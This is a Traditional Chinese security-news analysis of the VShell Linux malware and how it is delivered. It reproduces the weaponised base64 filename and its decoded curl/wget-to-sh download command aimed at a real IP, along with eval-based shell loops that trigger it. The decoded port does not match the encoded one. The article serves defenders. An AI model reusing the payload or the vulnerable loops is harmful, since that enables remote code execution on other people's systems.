摘要

本報告針對 VShell 惡意軟體進行詳細的技術分析,此為一種鎖定 Linux 環境的無檔案式威脅。本分析解剖了其感染鏈,從透過垃圾電子郵件的初始傳遞到最終的 Payload 執行。它著重於利用檔名來觸發多階段攻擊的創新技術,運用 shell 命令注入和 base64 編碼來實現隱匿執行。本報告檢視了每個階段的程式碼,包括初始的 Bash 下載器、具架構感知的下載器腳本,以及最終的 ELF Payload。此外,本報告將 VShell 攻擊置於更廣泛的無檔案式惡意軟體環境中,討論其常見技術和迴避機制。本報告還包含了感染流程和檔名解析機制的圖形化呈現,以提供對攻擊架構的清晰理解。


靜默感染的真相:VShell 惡意軟體如何用「檔名」入侵 Linux 的多階段技術剖析 | 資訊安全新聞

1. 無檔案式惡意軟體與 VShell 威脅簡介

無檔案式惡意軟體代表了網路威脅的重大演進,其擺脫了傳統的可執行檔,轉而採用記憶體內執行和濫用合法的系統工具。這種方法通常被稱為「寄生攻擊」("living off the land"),讓攻擊者能夠迴避基於簽章的偵測,並將其鑑識痕跡降至最低 [1]。VShell 惡意軟體是此類複雜威脅的絕佳範例,最近由 Trellix Advanced Research Center 進行分析,其特別鎖定 Linux 系統。它採用一種高度創新的技術:將 malicious payload 直接嵌入檔名中。這種方法將一個看似無害的操作(例如列出檔案)變成觸發多階段感染的開關,最終讓攻擊者獲得對受害系統的完整遠端存取權限 [8]。

2. VShell 感染鏈分析

VShell 感染鏈是一個為隱匿和持久化而設計的多階段程序。它始於社交工程,最終以一個複雜的後門執行告終。以下圖表說明了完整的感染流程:

flowchart LR subgraph x[" "] A[1. Spam Email with
Malicious RAR] --> B[2. User extracts RAR]--> C[3. Malicious Filename
Stage 1 Payload] --> D[4. Vulnerable Shell Command
Execution] end subgraph y[" "] E[5. Base64 Decoded Stage 1
Bash Script Execution] --> F[6. Download Stage 2
Downloader Script curl/wget] --> G[7. Execute Stage 2
Downloader Script] end subgraph z[" "] H[8. System Architecture
Detection uname -m] --> I[9. Download
Architecture-Specific
ELF Binary] --> J[10. Execute ELF
Binary nohup] end subgraph w[" "] K[11. Decrypt Final
Payload XOR] --> L[12. Execute Final Payload
VShell as Fake
Kernel Thread] --> M[13. Full-Featured
Remote Access Backdoor] end x --> y y --> z z --> w

2.1. 初始感染媒介

攻擊是透過垃圾電子郵件發起,這是惡意軟體分發的常見媒介。這封偽裝成調查邀請的電子郵件,包含一個惡意的 RAR 壓縮檔。這種社交工程策略旨在引誘使用者產生錯誤的安全感,使其更有可能與附件互動。解壓縮 RAR 檔案後,一個帶有 weaponized filename 的檔案會在系統上建立。值得注意的是,感染並非由解壓縮本身觸發,而是由隨後一個脆弱的 shell 命令處理此檔名時所觸發。

2.2. weaponized filename:第一階段 Payload

VShell 攻擊的核心創新點在於其使用 weaponized filename 作為初始 payload。此檔名並非簡單的字串,而是一個由 shell 解析並執行的命令。觀察到的檔名為:

ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash

此檔名被設計為由 shell 解釋為一系列的命令。以下圖表分解了 shell 如何解析此檔名:

graph TD subgraph x[" "] A[Malicious Filename] --> B[Shell encounters filename] --> C[Brace Expansion:
echo payload] end subgraph y[" "] D[Output
Base64 Encoded String] --> E[Pipe to Base64 Decoder] --> F[Base64 Decoded String] end subgraph z[" "] G[Pipe to Bash] --> H[Execute Decoded String
as Bash Script] end x --> y y --> z

當一個沒有適當清理檔名的腳本或命令處理此檔案時,執行便會被觸發。此類脆弱命令的常見範例包括:

  • for f in *; do eval "echo $f"; done
  • eval "$(ls)"
  • find . -exec bash -c 'eval "echo {}"' \;
  • ls | while read f; do eval "echo $f"; done

3. 程式碼與 Payload 分析

3.1. 第一階段:初始 Bash 下載器

檔名中 base64 編碼的 payload 解碼後會變成以下的 Bash 腳本:

(curl -fsSL -m180 http://47.98.194.60:443/slw||wget -T180 -q http://47.98.194.60:443/slw)|sh

這個單行腳本負責下載惡意軟體的下一個階段。它透過先嘗試使用 `curl`,若失敗則退回到 `wget`,展現了一定程度的韌性。下載的腳本隨後直接導向 `sh` 執行,這是一種典型的無檔案式技術,可避免將 payload 寫入磁碟。

3.2. 第二階段:具架構感知的下載器

第二階段腳本是一個更進階的下載器,它會在獲取最終 payload 之前執行系統偵察。其主要功能包括:

  • 環境設定: 它會擴展 `PATH` 環境變數以包含常見的二進位位置,確保其命令無論當前工作目錄為何都能夠執行。
  • 可寫入目錄識別: 該腳本會探測可寫入的目錄,例如 `/tmp` 和 `/usr/local/bin`,以確定適合放置和執行檔案的位置。
  • 架構偵測: 它使用 `uname -m` 命令來識別系統的架構(例如 x86_64、aarch64)。這使得惡意軟體能夠下載專門為目標系統編譯的 payload,從而提高其有效性和隱匿性。
  • Payload 下載與執行: 根據偵測到的架構,腳本會從 C2 伺服器下載最終的 ELF 二進位檔案。然後它使用 `chmod +x` 使二進位檔案可執行,並使用 `nohup` 在背景執行,確保即使使用者的 session 終止,payload 也能持續存在。

3.3. 第三階段:最終 ELF Payload (VShell)

攻擊的最終階段是 VShell ELF 二進位檔案。此 payload 以加密形式下載,並使用金鑰 `0x99` 透過簡單的 XOR cipher 在記憶體中解密。一旦解密,VShell payload 會被偽裝成合法的系統程序(例如 `[kworker/0:2]`),作為虛假的 Kernel thread 執行,以迴避偵測。VShell 為攻擊者提供了一個功能齊全的遠端存取後門,賦予他們對受害系統的完全控制權。

4. 迴避技術與防禦策略

VShell 惡意軟體採用了數種迴避技術,使其特別難以偵測和防禦:

  • 無檔案式執行: VShell 主要在記憶體中執行並利用合法的系統工具,因此能避開傳統基於檔案的偵測方法。
  • 混淆: 使用 base64 編碼和 XOR 加密來隱藏 malicious payload,使其免於靜態分析。
  • 偽裝: 最終的 payload 偽裝成 Kernel thread,使其難以與合法的系統程序區分。

防禦像 VShell 這樣的威脅需要多層次的安全方法:

  • 安全編碼實踐: 應教育 shell 腳本的開發者關於未清理的檔名處理所帶來的危險。使用帶有 `-print0``xargs -0``find` 或其他安全的檔案處理實踐可以防止命令注入漏洞。
  • 行為分析: 監控系統行為異常(例如來自合法程序的意外網路連線或不尋常的命令列參數)的安全解決方案,更有可能偵測到無檔案式攻擊。
  • 出口過濾(Egress Filtering): 限制出站網路流量只流向已知的良好目的地,可以阻止惡意軟體與其 C2 伺服器通訊。
  • 最小權限原則: 限制使用者和程序的權限可以降低成功入侵的影響,防止惡意軟體獲得對系統的完全控制。

5. 結論

VShell 惡意軟體證明了 Threat actor 持續不斷的創新。其使用 weaponized filename 在 Linux 系統上發起無檔案式攻擊,凸顯了我們在處理資安問題上需要思維轉變。隨著攻擊者越來越多地利用合法的系統工具和記憶體內執行,傳統的安全措施變得越來越無效。結合安全編碼實踐、行為分析和網路安全的縱深防禦策略,對於對抗這些不斷演進的威脅至關重要。VShell 攻擊嚴厲地提醒我們,沒有任何平台可以倖免於攻擊,在現今的威脅環境中,主動且多層次的安全方法是至關重要的。